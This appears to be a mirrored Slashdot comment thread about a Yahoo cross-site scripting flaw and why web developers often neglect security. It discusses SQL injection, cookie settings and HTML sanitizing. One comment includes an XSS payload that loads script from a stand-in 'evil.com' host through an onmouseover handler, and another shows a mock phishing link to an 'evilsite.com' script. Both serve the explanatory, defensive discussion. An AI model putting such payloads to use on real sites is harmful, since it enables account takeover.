Slashdot Mirror
Yahoo! XSS Flaw Endangers its Users
Rarely Greys writes "A major Yahoo XSS flaw makes it possible to take over any Yahoo user's account, including their mail, instant messaging, photos, etc.
This is not a rare occurrence. So why aren't web sites doing more to protect their users? It's looking like most web developers don't even know or care about XSS."
As a web developer myself, I try dillagently to kill off any XSS attacks by writing good secure code, but there will always be a few corner cases in any non-trivial application that one does not count for. This is doubly so when dealing with web services that have to pump out huge amounts of data over an insecure medium.
What is most showing is how fast it will be till Yahoo fixes this vunerability as a sign of their metal.
imho...
In my opinion web developers just don't know enough about security.
They know how to store and retrieve data from a database, but they don't know why it's important to escape strings before they go to into a SQL query (or better: use parameterized queries). It happens too often that when you see some page: view.php?id=23 and you change 23 to 23', it returns an error. Although a lot of developers are 'saved' by PHP's magic quotes, it isn't a silver bullet.
Even less web developers seem to know about XSS and how to prevent it.
Web security should get a lot more attention in web developer education, from SQL injection to XSS to salted hashes.
more correctly (If I read the overly pink article right), it is the reliance that someone will click on something like this:
a rch.yahoo.com/search?p=french+military+victories$l t;/a>
----
OMG! Check out this funny search!
"French military victories"
<a href='evilsite.com/haxzoryouryahoo.cgi'>http://se
HAHAHA! Couldn't stop laughing...
----
You are in fact wrong. The cookie is sent through a form which is not affected by whether third party cookies are enabled or disabled. It should be noted that this flaw has already been fixed...
It's not a shame to admit you know zilch about XSS. But at least use a library/package/class or something which prevents these flaws. For instance for the PHP developers, there is HTML_Form, which includes a unique hidden form field each time a form is generated thus preventing some XSS.
8 of 13 people found this answer helpful. Did you?
Well, my take (multiple major webdev projects on the go NOW)...
1. MOVING TARGET
A lot of webdev security issues (DB input, etc.) are moving targets.
For example, take database input. Ten years ago, for many (beginning) developers, escaping quotes and backslashes manually was considered fine. Later developers had database libraries that provided these functions natively. All of a sudden, unicode came along. Suddenly you had to worry about extra characters. This was another step - for example, for developers using MySQL, it was pertinent to change all of your escape functions to a new, unicode-aware one.
With everything else on their plate, even if they're single-language developers, auditing old code to maintain current security best practice falls somewhere at the bottom of the todo list, between 'get some exercise' and 'catch up on sleep'.
2. EXPECTATIONS RISING
As individual leading sites like google's gmail or google earth appear, expectations from clients increase. Web developers have a hard time keeping up with meeting all of the new 'standard features' that are expected, and are often implementing certain aspects for the first time, relying on either poorly audited code (random downloaded scripts) or writing their own with insufficient time for testing and security auditing.
3. NEW OR RAPIDLY ELEVATED ISSUES IN WEB SECURITY
In the last ten years, issues have appeared such as:
1. Public tools and worms that can easily attack custom-made applications, rendering some older, unmaintained code more readily exploitable. (This is just another time pressure, and security is all about the combination of resources for the attacker and defender... not just technical know-how on either side.)
2. Cross site scripting... this is quite a complex issue and is not understood by all developers.
3. A large number of scripting languages, which are constantly being updated and take a lot of time to stay up to date with. For example, most web developers are not really competent with javascript/ecmascript...
4. Browser or other 'out of web developer control' bugs can make different tags or features dangerous 'at short notice'.
5. AJAX and web services, which emphasise providing structured, easily-accessible data to the public, make data scraping (ala screen scraping) that much more of a real and widespread threat. As of today, most developers still do not take this threat seriously.
6. Denial of service attacks.
7. New expectations of server-side image (or web services data) processing can expose extra code (often legacy tools, or tools in entirely new languages) to potentially hostile input.
4. GENERAL PROGRAMMING ISSUES
Add to the above the standard pressures that lead to security shortfalls:
- Web developers, like other programmers, are often lumbered with unrealistic delivery timeframes.
- A lot of webdev is single-developer stuff, not completed in teams. As only one person reads the code, errors are less likely to be spotted.
- Most webdev projects have no budget for code auditing as close-to-secure code is often merely a desirable part of the overall bundle, not a steadfast client requirement...
- Webdev people often aren't client facing. In today's highly comepetitive webdev market, client facing salespeople perhaps don't know enough about code security to sell it as a budget-worthy extra.
5. CLIENTS DONT CARE
They want a working site, not a working site with n^m behind-the-scenes feelgood features they have to take at face value and have no way to 'see', 'show the boss' or otherwise justify.
Firefox 2 changed the way the cookie preferences worked. You can only choose to allow or disallow all cookies through the options menu. To actually block just 3rd party cookies the way you could in 1.5, you have to fool around with obscure about:config settings.
h avior
Set network.cookie.cookieBehavior to "1"
http://kb.mozillazine.org/Network.cookie.cookieBe
The NoScript addon has Yahoo as one of their exemptions to its anti-XSS protection by default.
If you want to secure your systems, make sure you do not allow userinput with certain tags (assuming this input is displayed later on in a html page).
/me *shudders* (not sure if this is still true in IE7, in quriks-mode however i am pretty sure this still works in ie7 and non standard compliant mode AKA quirks-mode is the default for most IE only or IE targetted sites).
;)
Tags like script, iframe, link, style, embed, object _MUST_ be stripped in an untrusted environment. why you may ask: script, iframe, link allow external references (for example injection of code of remote sites which you can not easily check).
script itself is the most evil tag because it allows an attacker to access any element in a page, modify it and inject further remote scripts not stored on your server.
ie interprets javascript and vbcode in style tags
embed and object tags are used to insert java and activeX code, I guess I do not have to say much about those two techniques, it's again about inserting remote code at runtime.
iframe is, by nature, a fairly secure tag. it can not harm the users page much but it can be used to trick the user in believing to be on another page/site or trick him in any other way. plus, many IE versions had security holes where scripts could travel up from iframe into its parent document to manipulate data from another domain (crossite
There might be some potentially evil tags missing in my list, this is just from the top of my head.
I usually go the other way, instead of restricting tags i define a white-list of tags which are useful for formatting reasons such as strong, em, front, etc. this seems to be a much more controllable way.
HTH,
-Simon
<strong onmouseover="document.write('<' + 'script s' + 'rc=\"http://evil.com/foo.js\"></script>')">You get the idea</strong>
HTML sanitizing is VERY. HARD. Unless you first run things through tidy, and then manually check all attributes for evil (keeping in mind URL-encoded and unicode-escaped sequences), you WILL FAIL.
You are a lot safer using wiki or REST syntax and converting it to html formatting tags on the back-end. Otherwise you'll be playing a constant game of whack-a-mole.
If you open yourself to the foo, You and foo become one.
Um, no. Neither IE6 nor Firefox 2 block 3rd-party cookies by default. In IE6, one can turn off 3rd party cookies with Tools -> Internet Options -> Privacy Tab -> Advanced. Check override automatic cookie handling, and then under Third Party choose Block or Prompt.
In FF 2.0, you need to do an about:config and set network.cookie.cookieBehavior to 1.
Any questions?
My blog